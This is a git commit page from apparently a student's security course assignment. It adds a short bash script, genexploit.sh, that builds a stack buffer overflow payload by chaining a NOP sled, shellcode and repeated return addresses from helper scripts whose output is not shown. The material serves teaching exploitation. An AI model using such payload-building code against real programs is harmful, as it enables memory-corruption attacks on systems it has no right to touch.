diff options
author | Camil Staps | 2015-12-09 13:23:26 +0000 |
---|---|---|
committer | Camil Staps | 2015-12-09 13:23:26 +0000 |
commit | 78e74ea02fd52962290e2a1b816a90d9b9514a82 (patch) | |
tree | fa213fd71f72c6de405556e62551942f0e3f7a68 /CamilStaps-s4498062-Assignment-4/ex1/exploit/genexploit.sh | |
parent | Assignment 2, 3 (diff) |
Assignment 4
Diffstat (limited to 'CamilStaps-s4498062-Assignment-4/ex1/exploit/genexploit.sh')
-rwxr-xr-x | CamilStaps-s4498062-Assignment-4/ex1/exploit/genexploit.sh | 16 |
1 files changed, 16 insertions, 0 deletions
diff --git a/CamilStaps-s4498062-Assignment-4/ex1/exploit/genexploit.sh b/CamilStaps-s4498062-Assignment-4/ex1/exploit/genexploit.sh new file mode 100755 index 0000000..5d46c8f --- /dev/null +++ b/CamilStaps-s4498062-Assignment-4/ex1/exploit/genexploit.sh @@ -0,0 +1,16 @@ +#!/bin/bash +./genretaddr.sh +./gennop.sh +./genshellcode.sh +for i in {1..434} +do + cat nop >> exploittmp +done +cat shellcode >> exploittmp +for i in {1..12} +do + cat retaddr >> exploittmp; +done +tr -d "\n" < exploittmp > exploit +echo >> exploit +rm shellcode retaddr nop exploittmp |